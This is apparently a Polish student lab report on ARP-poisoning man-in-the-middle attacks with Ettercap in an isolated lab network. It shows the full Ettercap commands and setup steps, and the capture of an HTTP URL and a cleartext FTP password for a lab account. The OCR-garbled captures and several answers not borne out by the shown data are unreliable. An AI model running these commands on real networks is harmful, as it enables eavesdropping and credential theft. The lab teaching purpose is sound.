IP6 fe80::9733:b7ee:9c35:acfc.53245 > ff02::1:3.5355: UDP,
IP ARDU-STATION.local.53245 > 224.0.0.252.5355: UDP, length
IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa.
IP ARDU-STATION. local.mdns > mdns.mcast.net.mdns: 0@ PTR
0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa.
IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa.
IP6 fe80::9733:b7ee:9c35:acfc.53245 > ff02::1:3.5355: UDP,
IP ARDU-STATION.local.53245 > 224.0.0.252.5355: UDP, length
IP ARDU-STATION. local.mdns > mdns.mcast.net.mdns: 0@ PTR
0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa.
IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa.
IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR

0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa.
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(90)

13:55:58.100327 IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
(QMm)?
3.0.0.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.f.f.ip6.arpa.
(90)

13:55:58.874968 IP ARDU-STATION.local.61354 > 239.255.255.250.1900: UDP,
length 137

13:55:58.922368 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR
(QM)? 252.0.0.224.in-addr.arpa. (42)

13:55:58.922368 IP6 fe80::9733:b7ee:9c35:acfc.53105 > ff02::1:3.5355: UDP,
length 42

13:55:58.922431 IP ARDU-STATION.local.53105 > 224.0.0.252.5355: UDP, length
42

13:55:58.923433 IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
(QM)? 252.0.0.224.in-addr.arpa. (42)

13:55:58.924269 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR
(QM)? 252.0.0.224.in-addr.arpa. (42)

13:55:58.925150 IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
(QM)? 252.0.0.224.in-addr.arpa. (42)

13:55:59.333124 IP6 fe80::9733:b7ee:9c35:acfc.53105 > ff02::1:3.5355: UDP,
length 42

13:55:59.333124 IP ARDU-STATION.local.53105 > 224.0.0.252.5355: UDP, length
42

13:55:59.348785 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR
(QM)? 252.0.0.224.in-addr.arpa. (42)

13:55:59.350004 IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
(QM)? 252.0.0.224.in-addr.arpa. (42)

13:55:59.350936 IP ARDU-STATION.local.mdns > mdns.mcast.net.mdns: 0 PTR
(QM)? 252.0.0.224.in-addr.arpa. (42)

13:55:59.351760 IP6 fe80::9733:b7ee:9c35:acfc.mdns > ff02::fb.mdns: 0 PTR
(QM)? 252.0.0.224.in-addr.arpa. (42)

13:56:01.756570 ARP, Reply 10.10.10.2 is-at 00:15:5d:38:01:2b (oui Unknown),
length 28

13:56:01.756584 ARP, Reply 10.10.10.1 is-at 00:15:5d:38:01:2b (oui Unknown),
length 28

13:56:01.877626 IP ARDU-STATION.local.61354 > 239.255.255.250.1900: UDP,
length 137

~C

82 packets captured

94 packets received by filter

12 packets dropped by kernel

administrator@ubuntu-C:~$

Pytania:

Pytanie 1: Jaki ruch mégt obserwowad atakujgcy (maszyna C) przed uruchomieniem ataku a jaki po
jego uruchomieniu ?

Pytanie 2: Czy na podstawie przechwyconego ruchu sieciowego mozna powiedzie¢ jak dziata ten atak
?

Pytanie 3: Co stato sie z tablicami ARP maszyn A, B i C (sprawdz ich zawarto$¢ za pomocg komendy
arp) ?
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Odpowiedzi uzasadnij pokazujac przechwycony ruch z programu Ettercap (ruch ARP) oraz zawartos¢
tablic ARP hostéw.

Odpowiedzi

Pytanie 1: Jaki ruch mégt obserwowac¢ atakujacy (maszyna C) przed
uruchomieniem ataku a jaki po jego uruchomieniu?

Przed atakiem: Atakujgcy (maszyna C) mdgt obserwowac standardowy ruch broadcastowy w sieci, w
tym:

e Regularne zapytania i odpowiedzi ARP pomiedzy maszynami A i B, gdzie kazda maszyna
uzyskuje poprawng informacje o adresach MAC odpowiadajacych znanym adresom IP.
e Ruch ICMP (np. ping) pomiedzy maszynami, gdzie kazdy pakiet przechodzi bez modyfikacji.

Po uruchomieniu ataku: Po rozpoczeciu ARP poisoning (spoofingu), maszyna C zaczyna wysytac
fatszywe komunikaty ARP, co skutkuje:

e Zmiang zawartosci tablic ARP na maszynach A i B - wpisy dla IP odpowiadajgcych swoim
sgsiadom sg modyfikowane tak, aby wskazywaty na adres MAC maszyny C.

¢ Duplikacja ruchu ICMP - obserwujemy powtarzajgce sie pakiety (np. echo request i reply), co
wynika z przekazywania ruchu przez maszyne C.

Pytanie 2: Czy na podstawie przechwyconego ruchu sieciowego mozna
powiedziec, jak dziata ten atak?

Tak. Analiza przechwyconego ruchu ARP (widoczna m.in. w wpisach typu Reply 10.10.10.1 is-
at ... orazzmiana MAC dla danego IP) jednoznacznie wskazuje, ze:

 Atakujacy wysyta fatszywe odpowiedzi ARP, ktére podmieniajg oryginalne adresy MAC w
tablicach ARP ofiar.

e Dzieki temu ruch pomiedzy maszynami A i B jest przekierowywany przez maszyne C, co
umozliwia przeprowadzenie ataku typu man-in-the-middle.

Uzasadnienie: W logach tcpdump widzimy m.in. sytuacje, gdy adres IP 10.10.10.1 jest najpierw

kojarzony z MAC 00:15:5d:38:01:2b, a p6zniej z 00:15:5d:38:01:28. To wskazuje na prébe
podmiany prawidtowych wpiséw ARP, charakterystyczng dla ataku ARP poisoning.

Pytanie 3: Co stato sie z tablicami ARP maszyn A, B i C?

Maszyny A i B: W wyniku ataku ARP poisoning, tablice ARP maszyn A i B zostaty zmodyfikowane -

» Wpisy dotyczace adreséw IP swoich partneréw (np. A dla B i B dla A) wskazujg teraz na adres
MAC atakujgcej maszyny C.

Przyktadowo, jesli przed atakiem tablica ARP maszyny A zawierata wpis: 10.10.10.2 at
00:15:5d:38:01:2b, to po ataku moze pojawi¢ sie wpis: 10.10.10.2 at 00:15:5d:38:01:2c
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(adres MAC maszyny C).

Maszyna C: Maszyna C - atakujacy - posiada prawidtowe wpisy ARP dla wtasnych adreséw, ale dzieki
fatszywym komunikatom ARP wysytanym do A i B, te maszyny zaczynaja kierowa¢ ruch do C. Tablica
ARP C moze nie wykazywac anomalii, gdyz to ona aktywnie modyfikuje tablice ARP innych hostéw.

Uzasadnienie: Analizujac ruch ARP widoczny w przechwyconych pakietach (np. liczne Reply z
roznymi adresami MAC) oraz zawartos¢ tablic ARP uzyskang poleceniem arp, mozna stwierdzi¢, ze:

e Maszyny A i B posiadajg wpisy ARP, w ktérych adresy IP swoich partneréw sg przypisane do MAC
maszyny C.

¢ Atakujacy (maszyna C) mdgt takze sam otrzymywac zapytania ARP, jednak najwazniejsze jest,
ze zmiana w tablicach A i B skutkuje przekierowaniem ruchu przez C.

W logach Ettercap (i tcpdump) widoczne sg m.in. zmiany w odpowiedziach ARP, co jest dowodem na
przeprowadzenie ataku i modyfikacje tablic ARP.

Podsumowanie: Atak ARP poisoning polega na wysytaniu fatszywych komunikatéw ARP, ktére
zmieniajg tablice ARP w ofiarach, skutkujgc przekierowaniem ruchu przez atakujgcego. Przechwycony
ruch ARP i zmodyfikowane tablice ARP potwierdzaja, ze maszyna C przeprowadzita atak, dzieki czemu
mogta obserwowac i potencjalnie modyfikowa¢ komunikacje miedzy maszynami A i B.

Zadanie 4

e Uzytkownik maszyny A uruchamia serwer HTTP (Apache2).

e Uzytkownik maszyny C (atakujgcy) wykonuje polecenie: xhost + (pozwala to na dostep do
wyswietlacza graficznego X-Window). Dodatkowo, w celu umozliwienia programowi Ettercap
otwarcia przegladarki jako uzytkownik 'root’, zmieniamy ustawienia w pliku
/etc/ettercap/etter.conf, przypisujac zmiennym ec_uid oraz ec_gid wartos¢ 0
(uzytkownik 'root’).

e Atakujgcy (maszyna C) uruchamia przegladarke, wpisujgc w terminalu: firefox Nastepnie
uruchamia program Ettercap z nastepujgcymi opcjami:

ettercap -T -M arp /adres IP maszyny A//80 /adres IP maszyny B// -P
remote browser

e Uzytkownik maszyny B uruchamia przegladarke i tgczy sie z serwerem HTTP na maszynie A,
wpisujgc w pasku adresu: http://adres IP maszyny A
e Sprawdz, co wida¢ w przegladarce uruchomionej na maszynie C.

administrator@UBUNTU-A:~$ sudo systemctl status apache2

apache2.service - The Apache HTTP Server

Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset:
enabled)

Active: active (running) since Sun 2025-04-06 14:01:55 CEST; 1lmin 8s ago
Docs: https://httpd.apache.org/docs/2.4/

Main PID: 7020 (apache2)

Tasks: 55 (limit: 4572)

Memory: 5.2M

CPU: 21ms
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CGroup: /system.slice/apache2.service
7020 /usr/sbin/apache2 -k start
7021 /usr/sbin/apache2 -k start
7022 /usr/sbin/apache2 -k start

kwi 06 14:01:55 UBUNTU-A systemd[1]: Starting The Apache HTTP Server...
kwi 06 14:01:55 UBUNTU-A apachectl[7019]: AHO0558: apache2: Could not
reliably determine the server's fully qualified domain name, using
127.0.1.1. Set the 'ServerName' direc>

kwi 06 14:01:55 UBUNTU-A systemd[1l]: Started The Apache HTTP Server.

administrator@UBUNTU-A:~$ ~C

administrator@ubuntu-C:~$ cat /etc/ettercap/etter.conf | grep ec

ec uid = 0 # nobody is the default

ec gid = 0 # nobody is the default

# or set the ec uid to 0, in order to be sure the cleanup script will be
administrator@ubuntu-C:~$ sudo ettercap -t ethl -T -M arp /10.10.10.1//80
/10.10.10.2// -P remote browser

ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team

Listening on:

ethO -> 00:15:5D:38:01:2A
172.31.110.85/255.255.240.0
fe80::84c0:ae73:9d45:c0d4/64

SSL dissection needs a valid 'redir command on' script in the etter.conf
file

Ettercap might not work correctly. /proc/sys/net/ipv6/conf/all/use tempaddr

is not set to 0.

Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use tempaddr

is not set to 0.
Privileges dropped to EUID O EGID O...

34 plugins

42 protocol dissectors

57 ports monitored

28230 mac vendor fingerprint

1766 tcp 0S fingerprint

2182 known services

Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...

* >| 100.00 %

3 hosts added to the hosts list...

ARP poisoning victims:
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GROUP 1 : 10.10.10.1 00:15:5D:38:01:27
GROUP 2 : 10.10.10.2 00:15:5D:38:01:29
Starting Unified sniffing...

Text only Interface activated...

Hit 'h' for inline help

Activating remote browser plugin...

Niestety ale plugin nie dziatat poprawnie wiec recznie uruchomitem Wiresharka na
maszynie C i znalaztem URL ktory byt otwarty przez hosta obserwowanego

Activities Wireshark kwi6 15:30

Capturing from eth1

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

mae XNC AesEFEISE QaQQE
| |£\.|.'-|: y a display filter ... <Ctrl-f> v] +

Lengtt Info

No. Destination Protocol

TG
80 . 49650 [ACK]
80 _ 49650 [ACK]
80 _ 49650 [PSH,
HTTP/1.1 200 OK
80 . 49650 [ACK]

.B0AT88TT5
. 891560515
. 891560585
.891610110

1 16.10.18.
1
1
1
.898325112 .10.10.1
] 1
1
1
2
2
2

Seq=1 Ack=427 Win=64768 Len=1448 1
ACK] Seq=1449 Ack=427 Win=64768 Le

40650 — 86 [ACK]
49656 _ 80 [ACK]

A0 160 1% Trn AR _ADBRM on FTACK]

30.898702129
30.898702219

TR 20 _ONRATOAR AR 40 4R

5eq=427 Ack=3461 Win=62976 Len=0 1_

Can—A97 Ack—T007 Win-—F2422 | an—>QH 1
»

Keep-Alive: timeout=5, max=186%ri\n -
Connection: Keep-Alive‘.rin
Content-Type: text/htmlirin
\rin
[HTTP response 1/1]
[Time since request: 0.009060028 seconds]
Request in frame: 62
[Request URI: http://10.10.18.1/]
Content-encoded entity body (gzip): 3121 bytes
File Data: 10671 bytes
-~ Line-based text data: text/html (363 lines)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtmll/DTD/xhtmll-transitional.dtd"=\n
<html xmlns="http:/ wew.w3.org/1999/xhtml"=\n
=!--%n
48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d HTTP/1.1 200 OK -
Pa 44 61 74 65 3a 20 53 75 6e 2c 20 30 36 20 41 Date: S un, 06 A
78 72 20 32 30 32 35 20 31 33 3a 32 39 3a 35 34 pr 2025 13:29:54
20 47 4d 54 ©d @a 53 65 72 76 65 72 3a 20 41 70 GMT- -Se rver: Ap
61 63 68 65 2T 32 2e 34 2e 35 32 20 28 55 62 75 ache/2.4 .52 (Ubu
Ge 74 75 29 ©d Ga 4c 61 73 74 2d 4d 67 64 69 66 ntu}--La st-Modif
69 65 64 3a 20 53 75 Ge 2c 20 30 36 20 41 VO 72 ied: Sun , 06 Apr
20 32 30 32 35 20 31 32 3a 30 31 3a 35 34 20 47 2825 12 :01:54 G
cleh:lo I BUE e l4AE 54 61 67 3a 20 22 32 39 61 66 2d
olclolIN36 33 32 31 61 65 32 62 39 37 32 38 39 2d 67 7a
00ad [yl ReleEl 41 63 63 65 70 74 2d 52 61 Be 67
65 73 3a 20 62 79 74 65 73 0d Ba 56 61 72 79 3a

Frame (630 bytes) | Reassembled TCP (3460 bytes) | Uncompressed entity body (10671 bytes)

-> 10671 bytes

() 7 HTTP Response For-URI (http.response_for.uri) Packets: 96 - DiEpIayed: 96 (100.0%) Profile: Default
Przechwycenie URL metodg reczna

Pytania:

Pytanie 6: Co wydarzyto sie w zadaniu nr 4 (co uzyskat atakujacy)?

Pytanie 7: W jaki sposdb atakujacy osiggnat taki efekt? Odpowiedz wyjasnij i uzasadnij, wykorzystujac
przechwycony ruch ARP oraz zawartos¢ tablic ARP hostow.
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Pytanie 6: Co wydarzyto sie w zadaniu nr 4 (co uzyskat
atakujacy)?

W zadaniu nr 4 atakujgcy (maszyna C) przeprowadzit atak ARP poisoning, ktory polegat na
wprowadzeniu fatszywych informacji do tablic ARP maszyn A i B. Dzieki temu atakujgcy przejat
komunikacje pomiedzy tymi maszynami, stajac sie ,man-in-the-middle” (MITM). Atakujacy mdgt teraz
przechwytywac i modyfikowac ruch sieciowy pomiedzy maszynami A i B. W szczegdlnosci atakujacy
przechwycit zgdania HTTP wysytane przez maszyne B do serwera na maszynie A. Na maszynie C
(atakujgcym) mozna byto zobaczy¢ URL, ktéry byt otwarty na maszynie B. W efekcie atakujgcy
uzyskat dostep do komunikacji sieciowej pomiedzy tymi maszynami, co daje mozliwos¢ jej analizy lub
modyfikacji.

Pytanie 7: W jaki sposob atakujacy osiagnat taki efekt?
Odpowiedz wyjasnij i uzasadnij, wykorzystujac
przechwycony ruch ARP oraz zawartos¢ tablic ARP hostow.

Atakujacy osiagnat swoj cel za pomoca ataku ARP poisoning, ktéry polegat na podmienieniu
prawdziwych adreséw MAC w tablicach ARP maszyn A i B. ARP (Address Resolution Protocol) jest
odpowiedzialny za mapowanie adreséw IP na adresy MAC w sieci lokalnej. Atakujacy wysytat fatszywe
odpowiedzi ARP do maszyn A i B, przekonujac je, ze jego adres MAC jest tym wiasciwym dla adresu IP
maszyny A oraz maszyny B. Dzieki temu ruch sieciowy z maszyn A i B przechodzit przez maszyne C,
pozwalajgc atakujgcemu na jego przechwytywanie.

Z przechwyconego ruchu ARP oraz analizy tablic ARP hostéw mozna zauwazy¢, ze maszyny Ai B
miaty zmienione wpisy ARP, wskazujgce na adres MAC maszyny C. Na przyktad, maszyna A mogta
mie¢ w swojej tablicy ARP wpis, ktéry wskazywat na adres MAC maszyny C zamiast rzeczywistego
adresu MAC maszyny B. To samo dotyczyto maszyny B, ktéra mogta mysle¢, ze adres MAC maszyny A
nalezy do maszyny C. W ten sposéb atakujgcy mogt przejgé catg komunikacje miedzy tymi
maszynami.

Za pomocg programu Wireshark atakujgcy mogt takze recznie przechwycic¢ dane, takie jak URL
otwarty przez maszyne B, co potwierdzito, ze atakujacy przejat kontrole nad ruchem HTTP. Dzieki
temu atakujgcy mégt uzyskac dostep do poufnych danych, takich jak adresy URL czy zawartos¢
przesytanych zadan.

Zadanie 5

e Uzytkownik maszyny A modyfikuje wpisy w pliku konfiguracyjnym /etc/vsftpd.conf lub,
jesli ich nie ma, dodaje nastepujace linie: Local enable=YES anonymous enable=YES

e Uzytkownik maszyny A restartuje ustuge FTP.

e Uzytkownik maszyny A tworzy konta uzytkownikdw alek i beata oraz ustawia im hasta,
wykonujgc polecenia: adduser alek adduser beata

e Atakujgcy (maszyna C) uruchamia (w osobnym oknie) atak MITM za pomocg programu Ettercap,
analogicznie jak w zadaniu 2: ettercap -Tq -M arp /adres IP maszyny A//
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/adres IP maszyny B//
e Uzytkownik maszyny B taczy sie z serwerem FTP dziatajacym na maszynie A, loguje sie, a
nastepnie roztacza.

administrator@UBUNTU-A:~$ cat /etc/vsftpd.conf | grep enable

# This directive enables listening on IPv6 sockets. By default, listening
anonymous_enable=YES

local enable=YES

# Uncomment this to enable any form of FTP write command.

#write enable=YES

# has an effect if the above global write enable is activated. Also, you
will

#anon_upload enable=YES

#anon_mkdir write enable=YES

dirmessage enable=YES

# If enabled, vsftpd will display directory listings with the time
xferlog enable=YES

#async_abor enable=YES

#ascii upload enable=YES

#ascii download enable=YES

#deny email enable=YES

# chroot list enable below.

#chroot list enable=YES

#ls recurse_enable=YES

ssl enable=NO

administrator@UBUNTU-A:~$

administrator@UBUNTU-A:~$ sudo systemctl restart vsftpd.service
administrator@UBUNTU-A:~$ sudo systemctl status vsftpd.service
vsftpd.service - vsftpd FTP server

Loaded: loaded (/lib/systemd/system/vsftpd.service; enabled; vendor preset:
enabled)

Active: active (running) since Sun 2025-04-06 15:40:28 CEST; 7s ago
Process: 32966 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty
(code=exited, status=0/SUCCESS)

Main PID: 32970 (vsftpd)

Tasks: 1 (limit: 4572)

Memory: 860.0K

CPU: 2ms

CGroup: /system.slice/vsftpd.service

32970 /usr/sbin/vsftpd /etc/vsftpd.conf

kwi 06 15:40:28 UBUNTU-A systemd[1l]: Starting vsftpd FTP server...
kwi 06 15:40:28 UBUNTU-A systemd[1l]: Started vsftpd FTP server.
administrator@UBUNTU-A:~$ sudo useradd alek

administrator@UBUNTU-A:~$ echo "alek:Start123!" | sudo chpasswd
administrator@UBUNTU-A:~$ sudo useradd beata
administrator@UBUNTU-A:~$ echo "beata:Startl123!" | sudo chpasswd

administrator@UBUNTU-A:~$ ftp localhost
Connected to localhost.

220 (vsFTPd 3.0.5)

Name (localhost:administrator): alek
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331 Please specify the password.

Password:

500 O00PS: cannot change directory:/home/alek

ftp: Login failed # uzytkownik nie ma katalogu ale nie zmienia to faktu ze
ruch sieciowy bedzie taki sam

ftp>

administrator@ubuntu-B:~$ ftp 10.10.10.1
Connected to 10.10.10.1.

220 (vsFTPd 3.0.5)

Name (10.10.10.1l:administrator): alek

331 Please specify the password.

Password:

500 00PS: cannot change directory:/home/alek
ftp: Login failed

ftp>

Nie wytaczatem ataku MITM etther cap wiec przechwytywanie dziata tak jak poprzednio

Activities & Wireshark kwi6 15:47 & 9 O
*ath1 - o X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ma® X € Q @& =

=]

¥
i1

QQ Q IF

I
=
|
k

No. Time Source Destination Protocol Lengtt Info

506 971.919673776 10.10.10. 10.16.10.2 FTP 86 Response: 220 (vsFTPd 3.0.5)

10.16.18.1 FTP 77 Request: USER alek

10.16.18.2 FTP 186 Response: 331 Please specify the password.
.18.1 FTP 82 Request: PASS Starti123!

10.16.18.2 FTP 76 Response: 508 00PS:

10.16.16.2 FTP 180 Response: cannot change directory:/home/alek
10.10.106.2 FTP 68 Response:

514 974.49586399@ 10.10.10.
517 974.498467301 10.10.10.
526 977.217024715 10.10.18.
530 977.252214475 10.10.16.
531 977.252214876 10.10.10.
532 977.25227171@ 10.10.10.

[ENUEYEN ., [N
=
=)
=
=

Ethernet II, Src: Microsof_38:01:2c (00:15:5d:38:01:2c), Dst: Microsof_38:01:2b (00:15:5d:38:081:2b)

Internet Protocol Version 4, Src: 10.10.1@.2, Dst: 10.18.10.1

Transmission Control Protocol, Src Port: 35580, Dst Port: 21, Seq: 12, Ack: 55, Len: 16

File Transfer Protocol (FTP)

~ PASS Start123!vwrin
Request command: PASS
Request arg: Starti23!

[Current working directory:

ivwww

1 »
% Frame 526: 82 bytes on wire (656 bits), 82 bytes captured (656 bits) on interface ethl, id @

é}@_ 0eee 88 15 5d 38 1 2b 0@ 15 5d 38 01 2c @8 00 45 18+ 18-, -Ed

] 00 44 87 b3 40 00 40 @6 B2 da 0a Ba @a 92 Ba fa D--@@

Ba 91 8a fc 00 15 d0 2d ca dd 3a 67 42 90 80 18 - (0B
EF A0 00 68 a5 00 00 81 @1 08 0a ed cO 6a dd ff 7a @-h j--z
7 A nInEIE 50 41 53 53 20 53 74 61 72 74 31 32 33 21 PASS 5 tart123!

@ 7 File Transfer Protocol (FTP): Protocol Packets: 589 - Displayed: 7 (1.2%) Profile: Default
Przechwycenie poswiadczen FTP

Pytania:

Pytanie 8: Co wydarzyto sie w zadaniu nr 5 (jaki efekt uzyskat atakujgcy)?

Pytanie 9: W jaki sposdb atakujacy osiggnat taki efekt? Odpowiedz wyjasnij i uzasadnij, wykorzystujac
przechwycony ruch ARP oraz zawartos¢ tablic ARP hostéw.
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Pytanie 8: Co wydarzyto sie w zadaniu nr 5 (jaki efekt
uzyskat atakujacy)?

W zadaniu nr 5 atakujgcy uzyskat dostep do poswiadczen uzytkownikéw prébujacych zalogowac sie na
serwer FTP. Dzieki przeprowadzeniu ataku typu Man-In-The-Middle (MITM) za pomocg programu
Ettercap, atakujacy byt w stanie przechwyci¢ dane logowania (nazwe uzytkownika oraz hasto) podczas
proby potaczenia z serwerem FTP. W wyniku tego atakujgcy uzyskat informacje umozliwiajace
pdzZniejsze uwierzytelnienie sie na serwerze FTP jako uzytkownicy alek i beata.

Pytanie 9: W jaki sposdb atakujacy osiagnat taki efekt?
Odpowiedz wyjasnij i uzasadnij, wykorzystujac
przechwycony ruch ARP oraz zawartosc tablic ARP hostéw.

Atakujacy uzyskat taki efekt poprzez przeprowadzenie ataku Man-In-The-Middle (MITM) przy uzyciu
programu Ettercap. Atak polegat na wstrzyknieciu fatszywych wpiséw do tablic ARP maszyn A i B, aby
przekierowac ruch sieciowy przez maszyne atakujgca (maszyna C). Dzieki temu, wszystkie dane, w
tym poswiadczenia uzytkownikéw (login i hasto), zostaty przesytane przez maszyne C, ktéra mogta je
przechwycic.

Przechwycony ruch ARP wykazat, ze atakujgcy wprowadzit fatszywe powigzania adreséw MAC i IP, co
umozliwito przekierowanie ruchu pomiedzy maszynami A i B przez maszyne C. W wyniku tego,
atakujgcy mogt Sledzi¢ oraz przechwyci¢ dane logowania, ktére byty przesytane w postaci
niezaszyfrowanej, co pozwolito mu uzyskac hasta uzytkownikdw.

Tablice ARP na maszynach A i B zostaty zmodyfikowane, a odpowiednie wpisy wskazywaty na adres
MAC maszyny C, dzieki czemu cata komunikacja byta przekierowywana przez atakujacego. Zawartos¢
tablic ARP na maszynach A i B (mogta by¢ sprawdzona za pomoca polecenia arp -n) zawierata
adresy MAC maszyny C zamiast prawdziwych adreséw MAC maszyn A i B, co Swiadczyto o
przeprowadzeniu skutecznego ataku MITM.

Dodatkowo, przechwycone dane (np. w Wiresharku) zawieraty nazwe uzytkownika oraz hasto, ktére
mogty zosta¢ wykorzystane przez atakujgcego do uzyskania dostepu do serwera FTP. Takie
przechwycenie danych jest mozliwe, poniewaz protokét FTP przesyta dane w postaci
niezaszyfrowanej, co czyni go podatnym na ataki MITM.
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